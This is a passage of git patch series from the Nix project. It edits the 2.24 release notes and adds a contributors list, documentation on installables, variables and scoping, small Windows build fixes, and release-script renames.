Bereknyei**](https://github.com/tomberek), [**Théophane Hufschmitt (@thufschmitt)**](https://github.com/thufschmitt), [**Valentin Gagarin (@fricklerhandwerk)**](https://github.com/fricklerhandwerk), [**Robert Hensing (@roberth)**](https://github.com/roberth) + Co-authors: [**@p01arst0rm**](https://github.com/p01arst0rm), [**@Qyriad**](https://github.com/Qyriad) + +- Eval cache: fix cache regressions [#10570](https://github.com/NixOS/nix/issues/10570) [#11086](https://github.com/NixOS/nix/pull/11086) + + This update addresses two bugs in the evaluation cache system: + + 1. Regression in #10570: The evaluation cache was not being persisted in `nix develop` because `evalCaches` retained references to the caches and was never freed. + 2. Nix could sometimes try to commit the evaluation cache SQLite transaction without there being an active transaction, resulting in non-error errors being printed. + + These bug fixes ensure that the evaluation cache is correctly managed and errors are appropriately handled. + + Author: [**Lexi Mattick (@kognise)**](https://github.com/kognise) + +- Introduce `libnixflake` [#9063](https://github.com/NixOS/nix/pull/9063) + + A new library, `libnixflake`, has been introduced to better separate the Flakes layer within Nix. This change refactors the codebase to encapsulate Flakes-specific functionality within its own library. + + See the commits in the pull request for detailed changes, with the only significant code modifications happening in the initial commit. + + This change was alluded to in [RFC 134](https://github.com/nixos/rfcs/blob/master/rfcs/0134-nix-store-layer.md) and is a step towards a more modular and maintainable codebase. + + Author: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314) + +- CL options `--arg-from-file` and `--arg-from-stdin` [#9913](https://github.com/NixOS/nix/pull/9913) + + The `--debugger` now prints source location information, instead of the + pointers of source location information. Before: + + ``` + nix-repl> :bt + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + 0x600001522598 + ``` + + After: + + ``` + 0: while evaluating the attribute 'python311.pythonForBuild.pkgs' + /nix/store/hg65h51xnp74ikahns9hyf3py5mlbbqq-source/overrides/default.nix:132:27 + + 131| + 132| bootstrappingBase = pkgs.${self.python.pythonAttr}.pythonForBuild.pkgs; + | ^ + 133| in + ``` + +- Make `nix store gc` use the auto-GC policy [#7851](https://github.com/NixOS/nix/pull/7851) + + + +- Stop vendoring toml11 + + We don't apply any patches to it, and vendoring it locks users into + bugs (it hasn't been updated since its introduction in late 2021). + + Author: [**Winter (@winterqt)**](https://github.com/winterqt) + +- Rename hash format `base32` to `nix32` [#8678](https://github.com/NixOS/nix/pull/8678) + + Hash format `base32` was renamed to `nix32` since it used a special nix-specific character set for + [Base32](https://en.wikipedia.org/wiki/Base32). + + ## Deprecation: Use `nix32` instead of `base32` as `toHashFormat` + + For the builtin `convertHash`, the `toHashFormat` parameter now accepts the same hash formats as the `--to`/`--from` + parameters of the `nix hash conert` command: `"base16"`, `"nix32"`, `"base64"`, and `"sri"`. The former `"base32"` value + remains as a deprecated alias for `"base32"`. Please convert your code from: + + ```nix + builtins.convertHash { inherit hash hashAlgo; toHashFormat = "base32";} + ``` + + to + + ```nix + builtins.convertHash { inherit hash hashAlgo; toHashFormat = "nix32";} + ``` + +- Add `pipe-operators` experimental feature [#11131](https://github.com/NixOS/nix/pull/11131) + + This is a draft implementation of [RFC 0148](https://github.com/NixOS/rfcs/pull/148). + + The `pipe-operators` experimental feature adds [`<|` and `|>` operators][pipe operators] to the Nix language. + *a* `|>` *b* is equivalent to the function application *b* *a*, and + *a* `<|` *b* is equivalent to the function application *a* *b*. + + For example: + + ``` + nix-repl> 1 |> builtins.add 2 |> builtins.mul 3 + 9 + + nix-repl> builtins.add 1 <| builtins.mul 2 <| 3 + 7 + ``` + + `<|` and `|>` are right and left associative, respectively, and have lower precedence than any other operator. + These properties may change in future releases. + + See [the RFC](https://github.com/NixOS/rfcs/pull/148) for more examples and rationale. + + [pipe operators]: @docroot@/language/operators.md#pipe-operators + +- `nix-shell` shebang uses relative path [#4232](https://github.com/NixOS/nix/issues/4232) [#5088](https://github.com/NixOS/nix/pull/5088) [#11058](https://github.com/NixOS/nix/pull/11058) + + + Relative [path](@docroot@/language/types.md#type-path) literals in `nix-shell` shebang scripts' options are now resolved relative to the [script's location](@docroot@/glossary.md?highlight=base%20directory#gloss-base-directory). + Previously they were resolved relative to the current working directory. + + For example, consider the following script in `~/myproject/say-hi`: + + ```shell + #!/usr/bin/env nix-shell + #!nix-shell --expr 'import ./shell.nix' + #!nix-shell --arg toolset './greeting-tools.nix' + #!nix-shell -i bash + hello + ``` + + Older versions of `nix-shell` would resolve `shell.nix` relative to the current working directory; home in this example: + + ```console + [hostname:~]$ ./myproject/say-hi + error: + … while calling the 'import' builtin + at «string»:1:2: + 1| (import ./shell.nix) + | ^ + + error: path '/home/user/shell.nix' does not exist + ``` + + Since this release, `nix-shell` resolves `shell.nix` relative to the script's location, and `~/myproject/shell.nix` is used. + + ```console + $ ./myproject/say-hi + Hello, world! + ``` + + **Opt-out** + + This is technically a breaking change, so we have added an option so you can adapt independently of your Nix update. + The old behavior can be opted into by setting the option [`nix-shell-shebang-arguments-relative-to-script`](@docroot@/command-ref/conf-file.md#conf-nix-shell-shebang-arguments-relative-to-script) to `false`. + This option will be removed in a future release. + + **`nix` command shebang** + + The experimental [`nix` command shebang](@docroot@/command-ref/new-cli/nix.md?highlight=shebang#shebang-interpreter) already behaves in this script-relative manner. + + Example: + + ```shell + #!/usr/bin/env nix + #!nix develop + #!nix --expr ``import ./shell.nix`` + #!nix -c bash + hello + ``` + + Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) + +- Improve handling of tarballs that don't consist of a single top-level directory [#11195](https://github.com/NixOS/nix/pull/11195) + + In previous Nix releases, the tarball fetcher (used by `builtins.fetchTarball`) erroneously merged top-level directories into a single directory, and silently discarded top-level files that are not directories. This is no longer the case. The new behaviour is that *only* if the tarball consists of a single directory, the top-level path component of the files in the tarball is removed (similar to `tar`'s `--strip-components=1`). + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Improve handling of tarballs that don't consist of a single top-level directory [#11195](https://github.com/NixOS/nix/pull/11195) + + In previous Nix releases, the tarball fetcher (used by `builtins.fetchTarball`) erroneously merged top-level directories into a single directory, and silently discarded top-level files that are not directories. This is no longer the case. + + Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) + +- Setting to warn about large paths [#10778](https://github.com/NixOS/nix/pull/10778) + + Nix can now warn when evaluation of a Nix expression causes a large + path to be copied to the Nix store. The threshold for this warning can + be configured using the `warn-large-path-threshold` setting, + e.g. `--warn-large-path-threshold 100M`. + + +# Contributors + +Querying GitHub API for ee86e7f361c55c8c7dc2e45c3868802af249aeff, to get handle for MostAwesomeDude@gmail.com From 733c816d3493459e0f7f899111b9ad19fe04147a Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 31 Jul 2024 15:04:18 -0500 Subject: [PATCH 1242/1251] Small windows cross fixes (#11230) --- src/libexpr/eval.cc | 4 +++- src/libstore/gc.cc | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 746ccab2a..de5d85821 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2860,8 +2860,10 @@ void EvalState::printStatistics() topObj["cpuTime"] = cpuTime; #endif topObj["time"] = { +#ifndef _WIN32 // TODO implement {"cpu", cpuTime}, -#ifdef HAVE_BOEHMGC +#endif +#if HAVE_BOEHMGC {GC_is_incremental_mode() ? "gcNonIncremental" : "gc", gcFullOnlyTime}, {GC_is_incremental_mode() ? "gcNonIncrementalFraction" : "gcFraction", gcFullOnlyTime / cpuTime}, #endif diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index c865fddd7..1494712da 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -891,7 +891,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) void LocalStore::autoGC(bool sync) { -#ifdef HAVE_STATVFS +#if HAVE_STATVFS static auto fakeFreeSpaceFile = getEnv("_NIX_TEST_FREE_SPACE_FILE"); auto getAvail = [this]() -> uint64_t { From 22ad0e653f9abff03de97fe928eaf13a99f7e8a1 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 31 Jul 2024 22:14:27 +0200 Subject: [PATCH 1243/1251] Edit release notes --- doc/manual/src/release-notes/rl-2.24.md | 42 +++++++------------------ 1 file changed, 11 insertions(+), 31 deletions(-) diff --git a/doc/manual/src/release-notes/rl-2.24.md b/doc/manual/src/release-notes/rl-2.24.md index c68072573..cb82b1def 100644 --- a/doc/manual/src/release-notes/rl-2.24.md +++ b/doc/manual/src/release-notes/rl-2.24.md @@ -2,11 +2,11 @@ ### Significant changes -- Harden the user sandboxing +- Harden user sandboxing The build directory has been hardened against interference with the outside world by nesting it inside another directory owned by (and only readable by) the daemon user. - This is a low severity security fix, [CVE-2024-38531](https://www.cve.org/CVERecord?id=CVE-2024-38531), that was handled through the GitHub Security Advisories interface, and hence was merged directly in commit [2dd7f8f42](https://github.com/NixOS/nix/commit/2dd7f8f42da374d9fee4d424c1c6f82bcb36b393) instead of a PR. + This is a low severity security fix, [CVE-2024-38531](https://www.cve.org/CVERecord?id=CVE-2024-38531). Credit: [**@alois31**](https://github.com/alois31), [**Linus Heckemann (@lheckemann)**](https://github.com/lheckemann) Co-authors: [**@edolstra**](https://github.com/edolstra) @@ -99,7 +99,7 @@ Author: [**Eelco Dolstra (@edolstra)**](https://github.com/edolstra) -- nix3-build: show all FOD errors with `--keep-going` [#10734](https://github.com/NixOS/nix/pull/10734) +- `nix build`: show all FOD errors with `--keep-going` [#10734](https://github.com/NixOS/nix/pull/10734) The [`nix build`](@docroot@/command-ref/new-cli/nix3-build.md) command has been updated to improve the behavior of the [`--keep-going`] flag. Now, when `--keep-going` is used, all hash-mismatch errors of failing fixed-output derivations (FODs) are displayed, similar to the behavior for other build failures. This enhancement ensures that all relevant build errors are shown, making it easier for users to update multiple derivations at once or to diagnose and fix issues. @@ -109,22 +109,20 @@ - Build with Meson [#2503](https://github.com/NixOS/nix/issues/2503) [#10378](https://github.com/NixOS/nix/pull/10378) [#10855](https://github.com/NixOS/nix/pull/10855) [#10904](https://github.com/NixOS/nix/pull/10904) [#10908](https://github.com/NixOS/nix/pull/10908) [#10914](https://github.com/NixOS/nix/pull/10914) [#10933](https://github.com/NixOS/nix/pull/10933) [#10936](https://github.com/NixOS/nix/pull/10936) [#10954](https://github.com/NixOS/nix/pull/10954) [#10955](https://github.com/NixOS/nix/pull/10955) [#10963](https://github.com/NixOS/nix/pull/10963) [#10967](https://github.com/NixOS/nix/pull/10967) [#10973](https://github.com/NixOS/nix/pull/10973) [#11034](https://github.com/NixOS/nix/pull/11034) [#11054](https://github.com/NixOS/nix/pull/11054) [#11055](https://github.com/NixOS/nix/pull/11055) [#11060](https://github.com/NixOS/nix/pull/11060) [#11064](https://github.com/NixOS/nix/pull/11064) [#11155](https://github.com/NixOS/nix/pull/11155) - These changes aim to replace the use of autotools and make with Meson for building various components of Nix. Additionally, each library is built in its own derivation, leveraging Meson's "subprojects" feature to allow a single development shell for building all libraries while also supporting separate builds. This approach aims to improve productivity and build modularity, compared to both make and a monolithic Meson-based derivation. + These changes aim to replace the use of autotools and `make` with Meson for building various components of Nix. Additionally, each library is built in its own derivation, leveraging Meson's "subprojects" feature to allow a single development shell for building all libraries while also supporting separate builds. This approach aims to improve productivity and build modularity, compared to both make and a monolithic Meson-based derivation. Special thanks to everyone who has contributed to the Meson port, particularly [**@p01arst0rm**](https://github.com/p01arst0rm) and [**@Qyriad**](https://github.com/Qyriad). Authors: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314), [**Tom Bereknyei**](https://github.com/tomberek), [**Théophane Hufschmitt (@thufschmitt)**](https://github.com/thufschmitt), [**Valentin Gagarin (@fricklerhandwerk)**](https://github.com/fricklerhandwerk), [**Robert Hensing (@roberth)**](https://github.com/roberth) Co-authors: [**@p01arst0rm**](https://github.com/p01arst0rm), [**@Qyriad**](https://github.com/Qyriad) -- Eval cache: fix cache regressions [#10570](https://github.com/NixOS/nix/issues/10570) [#11086](https://github.com/NixOS/nix/pull/11086) +- Evaluation cache: fix cache regressions [#10570](https://github.com/NixOS/nix/issues/10570) [#11086](https://github.com/NixOS/nix/pull/11086) This update addresses two bugs in the evaluation cache system: - 1. Regression in #10570: The evaluation cache was not being persisted in `nix develop` because `evalCaches` retained references to the caches and was never freed. + 1. Regression in #10570: The evaluation cache was not being persisted in `nix develop`. 2. Nix could sometimes try to commit the evaluation cache SQLite transaction without there being an active transaction, resulting in non-error errors being printed. - These bug fixes ensure that the evaluation cache is correctly managed and errors are appropriately handled. - Author: [**Lexi Mattick (@kognise)**](https://github.com/kognise) - Introduce `libnixflake` [#9063](https://github.com/NixOS/nix/pull/9063) @@ -137,9 +135,9 @@ Author: [**John Ericson (@Ericson2314)**](https://github.com/Ericson2314) -- CL options `--arg-from-file` and `--arg-from-stdin` [#9913](https://github.com/NixOS/nix/pull/9913) +- CLI options `--arg-from-file` and `--arg-from-stdin` [#9913](https://github.com/NixOS/nix/pull/9913) - The `--debugger` now prints source location information, instead of the +- The `--debugger` now prints source location information, instead of the pointers of source location information. Before: ``` @@ -160,11 +158,7 @@ 133| in ``` -- Make `nix store gc` use the auto-GC policy [#7851](https://github.com/NixOS/nix/pull/7851) - - - -- Stop vendoring toml11 +- Stop vendoring `toml11` We don't apply any patches to it, and vendoring it locks users into bugs (it hasn't been updated since its introduction in late 2021). @@ -176,7 +170,7 @@ Hash format `base32` was renamed to `nix32` since it used a special nix-specific character set for [Base32](https://en.wikipedia.org/wiki/Base32). - ## Deprecation: Use `nix32` instead of `base32` as `toHashFormat` + **Deprecation**: Use `nix32` instead of `base32` as `toHashFormat` For the builtin `convertHash`, the `toHashFormat` parameter now accepts the same hash formats as the `--to`/`--from` parameters of the `nix hash conert` command: `"base16"`, `"nix32"`, `"base64"`, and `"sri"`. The former `"base32"` value @@ -233,7 +227,7 @@ hello ``` - Older versions of `nix-shell` would resolve `shell.nix` relative to the current working directory; home in this example: + Older versions of `nix-shell` would resolve `shell.nix` relative to the current working directory, such as the user's home directory in this example: ```console [hostname:~]$ ./myproject/say-hi @@ -259,20 +253,6 @@ The old behavior can be opted into by setting the option [`nix-shell-shebang-arguments-relative-to-script`](@docroot@/command-ref/conf-file.md#conf-nix-shell-shebang-arguments-relative-to-script) to `false`. This option will be removed in a future release. - **`nix` command shebang** - - The experimental [`nix` command shebang](@docroot@/command-ref/new-cli/nix.md?highlight=shebang#shebang-interpreter) already behaves in this script-relative manner. - - Example: - - ```shell - #!/usr/bin/env nix - #!nix develop - #!nix --expr ``import ./shell.nix`` - #!nix -c bash - hello - ``` - Author: [**Robert Hensing (@roberth)**](https://github.com/roberth) - Improve handling of tarballs that don't consist of a single top-level directory [#11195](https://github.com/NixOS/nix/pull/11195) From f136ec5290128470244006579d935653df355bdf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 31 Jul 2024 22:16:44 +0200 Subject: [PATCH 1244/1251] Add contributors --- doc/manual/src/release-notes/rl-2.24.md | 46 ++++++++++++++++++- .../data/release-credits-email-to-handle.json | 3 +- .../data/release-credits-handle-to-name.json | 3 +- 3 files changed, 49 insertions(+), 3 deletions(-) diff --git a/doc/manual/src/release-notes/rl-2.24.md b/doc/manual/src/release-notes/rl-2.24.md index cb82b1def..5479cd3b9 100644 --- a/doc/manual/src/release-notes/rl-2.24.md +++ b/doc/manual/src/release-notes/rl-2.24.md @@ -277,4 +277,48 @@ # Contributors -Querying GitHub API for ee86e7f361c55c8c7dc2e45c3868802af249aeff, to get handle for MostAwesomeDude@gmail.com +This release was made possible by the following 43 contributors: + +- Andreas Rammhold [**(@andir)**](https://github.com/andir) +- Andrew Marshall [**(@amarshall)**](https://github.com/amarshall) +- Brian McKenna [**(@puffnfresh)**](https://github.com/puffnfresh) +- Cameron [**(@SkamDart)**](https://github.com/SkamDart) +- Cole Helbling [**(@cole-h)**](https://github.com/cole-h) +- Corbin Simpson [**(@MostAwesomeDude)**](https://github.com/MostAwesomeDude) +- Eelco Dolstra [**(@edolstra)**](https://github.com/edolstra) +- Emily [**(@emilazy)**](https://github.com/emilazy) +- Enno Richter [**(@elohmeier)**](https://github.com/elohmeier) +- Farid Zakaria [**(@fzakaria)**](https://github.com/fzakaria) +- HaeNoe [**(@haenoe)**](https://github.com/haenoe) +- Hamir Mahal [**(@hamirmahal)**](https://github.com/hamirmahal) +- Harmen [**(@alicebob)**](https://github.com/alicebob) +- Ivan Trubach [**(@tie)**](https://github.com/tie) +- Jared Baur [**(@jmbaur)**](https://github.com/jmbaur) +- John Ericson [**(@Ericson2314)**](https://github.com/Ericson2314) +- Jonathan De Troye [**(@detroyejr)**](https://github.com/detroyejr) +- Jörg Thalheim [**(@Mic92)**](https://github.com/Mic92) +- Klemens Nanni [**(@klemensn)**](https://github.com/klemensn) +- Las Safin [**(@L-as)**](https://github.com/L-as) +- Lexi Mattick [**(@kognise)**](https://github.com/kognise) +- Matthew Bauer [**(@matthewbauer)**](https://github.com/matthewbauer) +- Max “Goldstein” Siling [**(@GoldsteinE)**](https://github.com/GoldsteinE) +- Mingye Wang [**(@Artoria2e5)**](https://github.com/Artoria2e5) +- Philip Taron [**(@philiptaron)**](https://github.com/philiptaron) +- Pierre Bourdon [**(@delroth)**](https://github.com/delroth) +- Pino Toscano [**(@pinotree)**](https://github.com/pinotree) +- RTUnreal [**(@RTUnreal)**](https://github.com/RTUnreal) +- Robert Hensing [**(@roberth)**](https://github.com/roberth) +- Romain Neil [**(@romain-neil)**](https://github.com/romain-neil) +- Ryan Hendrickson [**(@rhendric)**](https://github.com/rhendric) +- Sergei Trofimovich [**(@trofi)**](https://github.com/trofi) +- Shogo Takata [**(@pineapplehunter)**](https://github.com/pineapplehunter) +- Siddhant Kumar [**(@siddhantk232)**](https://github.com/siddhantk232) +- Silvan Mosberger [**(@infinisil)**](https://github.com/infinisil) +- Théophane Hufschmitt [**(@thufschmitt)**](https://github.com/thufschmitt) +- Valentin Gagarin [**(@fricklerhandwerk)**](https://github.com/fricklerhandwerk) +- Winter [**(@winterqt)**](https://github.com/winterqt) +- jade [**(@lf-)**](https://github.com/lf-) +- kirillrdy [**(@kirillrdy)**](https://github.com/kirillrdy) +- pennae [**(@pennae)**](https://github.com/pennae) +- poweredbypie [**(@poweredbypie)**](https://github.com/poweredbypie) +- tomberek [**(@tomberek)**](https://github.com/tomberek) diff --git a/maintainers/data/release-credits-email-to-handle.json b/maintainers/data/release-credits-email-to-handle.json index 573ec2b31..cddc1a6e7 100644 --- a/maintainers/data/release-credits-email-to-handle.json +++ b/maintainers/data/release-credits-email-to-handle.json @@ -47,5 +47,6 @@ "pennae@lix.systems": "pennae", "delroth@gmail.com": "delroth", "enno@nerdworks.de": "elohmeier", - "mjbauer95@gmail.com": "matthewbauer" + "mjbauer95@gmail.com": "matthewbauer", + "MostAwesomeDude@gmail.com": "MostAwesomeDude" } \ No newline at end of file diff --git a/maintainers/data/release-credits-handle-to-name.json b/maintainers/data/release-credits-handle-to-name.json index d68311dde..abf9ed05b 100644 --- a/maintainers/data/release-credits-handle-to-name.json +++ b/maintainers/data/release-credits-handle-to-name.json @@ -40,5 +40,6 @@ "siddhantk232": "Siddhant Kumar", "winterqt": "Winter", "GoldsteinE": "Max \u201cGoldstein\u201d Siling", - "pennae": null + "pennae": null, + "MostAwesomeDude": "Corbin Simpson" } \ No newline at end of file From 8ff169715dde088a4c286b3379d3f548eafe3221 Mon Sep 17 00:00:00 2001 From: Qyriad Date: Mon, 29 Apr 2024 08:15:16 -0600 Subject: [PATCH 1245/1251] docs: clarify how the different kinds of installables are selected Change-Id: I146736bb97ebe035e04be69ce9fb60a557e38c6c --- src/nix/nix.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/nix/nix.md b/src/nix/nix.md index f958ce09a..34f73d032 100644 --- a/src/nix/nix.md +++ b/src/nix/nix.md @@ -59,9 +59,13 @@ These are command line arguments that represent something that can be realised i The following types of installable are supported by most commands: - [Flake output attribute](#flake-output-attribute) (experimental) + - This is the default - [Store path](#store-path) + - This is assumed if the argument is a Nix store path or a symlink to a Nix store path - [Nix file](#nix-file), optionally qualified by an attribute path + - Specified with `--file`/`-f` - [Nix expression](#nix-expression), optionally qualified by an attribute path + - Specified with `--expr`/`-E` For most commands, if no installable is specified, `.` is assumed. That is, Nix will operate on the default flake output attribute of the flake in the current directory. From cb5a5dd4f3064e3235fa908a44a5d074ef3c4205 Mon Sep 17 00:00:00 2001 From: Qyriad Date: Mon, 29 Apr 2024 08:09:50 -0600 Subject: [PATCH 1246/1251] docs: clarify how ^ works for -E/-f installables We didn't even realize you *could* use this syntax with -E and -f, much less that the attribute path could be *empty*. Change-Id: Id1a6715609f3a76a5ce477bd43a7832effbbe07b --- src/nix/nix.md | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/src/nix/nix.md b/src/nix/nix.md index 34f73d032..56587d0b2 100644 --- a/src/nix/nix.md +++ b/src/nix/nix.md @@ -182,9 +182,10 @@ that contains programs, and a `dev` output that provides development artifacts like C/C++ header files. The outputs on which `nix` commands operate are determined as follows: -* You can explicitly specify the desired outputs using the syntax - *installable*`^`*output1*`,`*...*`,`*outputN*. For example, you can - obtain the `dev` and `static` outputs of the `glibc` package: +* You can explicitly specify the desired outputs using the syntax *installable*`^`*output1*`,`*...*`,`*outputN* — that is, a caret followed immediately by a comma-separated list of derivation outputs to select. + For installables specified as [Flake output attributes](#flake-output-attribute) or [Store paths](#store-path), the output is specified in the same argument: + + For example, you can obtain the `dev` and `static` outputs of the `glibc` package: ```console # nix build 'nixpkgs#glibc^dev,static' @@ -199,6 +200,19 @@ operate are determined as follows: … ``` + For `-e`/`--expr` and `-f`/`--file`, the derivation output is specified as part of the attribute path: + + ```console + $ nix build -f '' 'glibc^dev,static' + $ nix build --impure -E 'import { }' 'glibc^dev,static' + ``` + + This syntax is the same even if the actual attribute path is empty: + + ```console + $ nix build -E 'let pkgs = import { }; in pkgs.glibc' '^dev,static' + ``` + * You can also specify that *all* outputs should be used using the syntax *installable*`^*`. For example, the following shows the size of all outputs of the `glibc` package in the binary cache: From 794a50065b33cbaaaf1f6ff9dbf954bb5eedfc14 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 31 Jul 2024 22:33:41 +0200 Subject: [PATCH 1247/1251] base32 -> nix32 --- doc/manual/src/release-notes/rl-2.24.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/release-notes/rl-2.24.md b/doc/manual/src/release-notes/rl-2.24.md index 5479cd3b9..5bcc1d79c 100644 --- a/doc/manual/src/release-notes/rl-2.24.md +++ b/doc/manual/src/release-notes/rl-2.24.md @@ -174,7 +174,7 @@ For the builtin `convertHash`, the `toHashFormat` parameter now accepts the same hash formats as the `--to`/`--from` parameters of the `nix hash conert` command: `"base16"`, `"nix32"`, `"base64"`, and `"sri"`. The former `"base32"` value - remains as a deprecated alias for `"base32"`. Please convert your code from: + remains as a deprecated alias for `"nix32"`. Please convert your code from: ```nix builtins.convertHash { inherit hash hashAlgo; toHashFormat = "base32";} From 6ed67d35ed51905434eba7d4a167b43aa581478f Mon Sep 17 00:00:00 2001 From: Ryan Hendrickson Date: Wed, 31 Jul 2024 17:39:43 -0400 Subject: [PATCH 1248/1251] docs: add variables; rework scope (#11062) Co-authored-by: Valentin Gagarin --- doc/manual/src/SUMMARY.md.in | 1 + doc/manual/src/language/identifiers.md | 2 +- doc/manual/src/language/scope.md | 32 ++++++++++++++++++-------- doc/manual/src/language/variables.md | 10 ++++++++ 4 files changed, 35 insertions(+), 10 deletions(-) create mode 100644 doc/manual/src/language/variables.md diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 8739599a0..7661f5f62 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -28,6 +28,7 @@ - [Data Types](language/types.md) - [String context](language/string-context.md) - [Syntax and semantics](language/syntax.md) + - [Variables](language/variables.md) - [Identifiers](language/identifiers.md) - [Scoping rules](language/scope.md) - [String interpolation](language/string-interpolation.md) diff --git a/doc/manual/src/language/identifiers.md b/doc/manual/src/language/identifiers.md index c9e981da6..bd58a9b36 100644 --- a/doc/manual/src/language/identifiers.md +++ b/doc/manual/src/language/identifiers.md @@ -22,7 +22,7 @@ A name can be an [identifier](#identifier) or a [string literal](./syntax.md#str > > *name* → *identifier* | *string* -Names are used in [attribute sets](./syntax.md#attrs-literal), [`let` bindings](./syntax.md#let-expressions), and [`inherit`](./syntax.md#inheriting attributes). +Names are used in [attribute sets](./syntax.md#attrs-literal), [`let` bindings](./syntax.md#let-expressions), and [`inherit`](./syntax.md#inheriting-attributes). # Keywords diff --git a/doc/manual/src/language/scope.md b/doc/manual/src/language/scope.md index 5c6aed38d..96c7468eb 100644 --- a/doc/manual/src/language/scope.md +++ b/doc/manual/src/language/scope.md @@ -1,14 +1,28 @@ # Scoping rules -Nix is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope), but with multiple scopes and shadowing rules. +A *scope* in the Nix language is a dictionary keyed by [name](./identifiers.md#names), mapping each name to an expression and a *definition type*. +The definition type is either *explicit* or *implicit*. +Each entry in this dictionary is a *definition*. -* primary scope: explicitly-bound variables - * [`let`](./syntax.md#let-expressions) - * [`inherit`](./syntax.md#inheriting-attributes) - * [function](./syntax.md#functions) arguments +Explicit definitions are created by the following expressions: +- [let-expressions](syntax.md#let-expressions) +- [recursive attribute set literals](syntax.md#recursive-sets) (`rec`) +- [function literals](syntax.md#functions) -* secondary scope: implicitly-bound variables - * [`with`](./syntax.md#with-expressions) +Implicit definitions are only created by [with-expressions](./syntax.md#with-expressions). -Primary scope takes precedence over secondary scope. -See [`with`](./syntax.md#with-expressions) for a detailed example. +Every expression is *enclosed* by a scope. +The outermost expression is enclosed by the [built-in, global scope](./builtins.md), which contains only explicit definitions. +The respective definition types *extend* their enclosing scope by adding new definitions, or replacing existing ones with the same name. +An explicit definition can replace a definition of any type; an implicit definition can only replace another implicit definition. + +Each of the above expressions defines which of its subexpressions are enclosed by the extended scope. +In all other cases, the same scope that encloses an expression is the enclosing scope for its subexpressions. + +The Nix language is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope); +the value of a variable is determined only by the variable's enclosing scope, and not by the dynamic context in which the variable is evaluated. + +> **Note** +> +> Expressions entered into the [Nix REPL](@docroot@/command-ref/new-cli/nix3-repl.md) are enclosed by a scope that can be extended by command line arguments or previous REPL commands. +> These ways of extending scope are not, strictly speaking, part of the Nix language. diff --git a/doc/manual/src/language/variables.md b/doc/manual/src/language/variables.md new file mode 100644 index 000000000..af6aff8a2 --- /dev/null +++ b/doc/manual/src/language/variables.md @@ -0,0 +1,10 @@ +# Variables + +A *variable* is an [identifier](identifiers.md) used as an expression. + +> **Syntax** +> +> *expression* → *identifier* + +A variable must have the same name as a definition in the [scope](./scope.md) that encloses it. +The value of a variable is the value of the corresponding expression in the enclosing scope. From 617e711820762d27285eb8710ce42d52f6448acd Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 1 Aug 2024 10:41:42 +0200 Subject: [PATCH 1249/1251] 'build' is now 'build.nix' --- maintainers/upload-release.pl | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 4c4e2bd6f..731988568 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -42,7 +42,7 @@ my $flakeUrl = $evalInfo->{flake}; my $flakeInfo = decode_json(`nix flake metadata --json "$flakeUrl"` or die) if $flakeUrl; my $nixRev = ($flakeInfo ? $flakeInfo->{revision} : $evalInfo->{jobsetevalinputs}->{nix}->{revision}) or die; -my $buildInfo = decode_json(fetch("$evalUrl/job/build.x86_64-linux", 'application/json')); +my $buildInfo = decode_json(fetch("$evalUrl/job/build.nix.x86_64-linux", 'application/json')); #print Dumper($buildInfo); my $releaseName = $buildInfo->{nixname}; @@ -91,7 +91,7 @@ sub getStorePath { sub copyManual { my $manual; eval { - $manual = getStorePath("build.x86_64-linux", "doc"); + $manual = getStorePath("build.nix.x86_64-linux", "doc"); }; if ($@) { warn "$@"; @@ -240,12 +240,12 @@ if ($haveDocker) { # Upload nix-fallback-paths.nix. write_file("$tmpDir/fallback-paths.nix", "{\n" . - " x86_64-linux = \"" . getStorePath("build.x86_64-linux") . "\";\n" . - " i686-linux = \"" . getStorePath("build.i686-linux") . "\";\n" . - " aarch64-linux = \"" . getStorePath("build.aarch64-linux") . "\";\n" . - " riscv64-linux = \"" . getStorePath("buildCross.riscv64-unknown-linux-gnu.x86_64-linux") . "\";\n" . - " x86_64-darwin = \"" . getStorePath("build.x86_64-darwin") . "\";\n" . - " aarch64-darwin = \"" . getStorePath("build.aarch64-darwin") . "\";\n" . + " x86_64-linux = \"" . getStorePath("build.nix.x86_64-linux") . "\";\n" . + " i686-linux = \"" . getStorePath("build.nix.i686-linux") . "\";\n" . + " aarch64-linux = \"" . getStorePath("build.nix.aarch64-linux") . "\";\n" . + " riscv64-linux = \"" . getStorePath("buildCross.nix.riscv64-unknown-linux-gnu.x86_64-linux") . "\";\n" . + " x86_64-darwin = \"" . getStorePath("build.nix.x86_64-darwin") . "\";\n" . + " aarch64-darwin = \"" . getStorePath("build.nix.aarch64-darwin") . "\";\n" . "}\n"); # Upload release files to S3. From 30aca6f243d8d5dcdbbfcf2a36bcdefa9d2aeeee Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 1 Aug 2024 10:43:00 +0200 Subject: [PATCH 1250/1251] Bump version --- .version | 2 +- 1 file changed, 1 insertion(+), 